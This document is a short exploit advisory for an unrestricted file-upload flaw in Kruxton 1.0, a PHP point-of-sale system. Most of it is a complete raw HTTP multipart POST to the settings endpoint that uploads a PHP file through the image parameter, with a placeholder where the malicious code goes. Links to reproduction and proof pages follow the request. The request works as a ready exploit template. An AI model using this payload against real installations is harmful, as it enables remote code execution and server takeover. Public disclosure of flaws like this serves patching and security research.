Kruxton 1.0 Shell Upload

`## Title: kruxton-1.0-FileUpload-RCE  
## Author: nu11secur1ty  
## Date: 04/15/2024  
## Vendor: https://www.mayurik.com/  
## Software: https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html  
## Reference: https://portswigger.net/web-security/file-upload  
  
## Description:  
The system setting with parameter IMG is vulnerable to File Upload  
vulnerability.  
The attacker can upload a very malicious PHP file into the server and  
then he can execute it  
This is a potential CRITICAL PROBLEM!  
  
STATUS: HIGH- Vulnerability  
  
[+]Payload:  
```POST  
POST /kruxton/ajax.php?action=save_settings HTTP/1.1  
Host: localpwnedhost.com  
Cookie: bLicense67=1; sEmail=kurec%40guhai.mi.huq;  
PHPSESSID=lp21rf44drtnogjboa8v7lpmg1  
Content-Length: 1043  
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"  
Accept: */*  
Content-Type: multipart/form-data;  
boundary=----WebKitFormBoundaryUwsdkjlNQ5exBwrq  
X-Requested-With: XMLHttpRequest  
Sec-Ch-Ua-Mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.88  
Safari/537.36  
Sec-Ch-Ua-Platform: "Windows"  
Origin: https://localpwnedhost.com  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://localpwnedhost.com/kruxton/index.php?page=site_settings  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Priority: u=1, i  
Connection: close  
  
------WebKitFormBoundaryUwsdkjlNQ5exBwrq  
Content-Disposition: form-data; name="name"  
  
Kruxton Bristo By Mayuri K  
------WebKitFormBoundaryUwsdkjlNQ5exBwrq  
Content-Disposition: form-data; name="email"  
[email protected]  
------WebKitFormBoundaryUwsdkjlNQ5exBwrq  
Content-Disposition: form-data; name="contact"  
  
9000000000  
------WebKitFormBoundaryUwsdkjlNQ5exBwrq  
Content-Disposition: form-data; name="about"  
  
<p>Kruxton Bristo By Mayuri K</p><p data-f-id="pbf" style="text-align:  
center; font-size: 14px; margin-top: 30px; opacity: 0.65; font-family:  
sans-serif;">Powered by <a  
href="https://www.froala.com/wysiwyg-editor?pb=1" title="Froala  
Editor">Froala Editor</a></p>  
------WebKitFormBoundaryUwsdkjlNQ5exBwrq  
Content-Disposition: form-data; name="img"; filename="1nsi1deyou.php"  
Content-Type: application/octet-stream  
  
<?php  
// by nu11secur1ty - 2024  
//Your malicious code here  
?>  
  
------WebKitFormBoundaryUwsdkjlNQ5exBwrq--  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/kruxton-1.0)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2024/04/kruxton-10-fileupload-rce.html)  
  
## Time spent:  
00:15:00  
  
  
`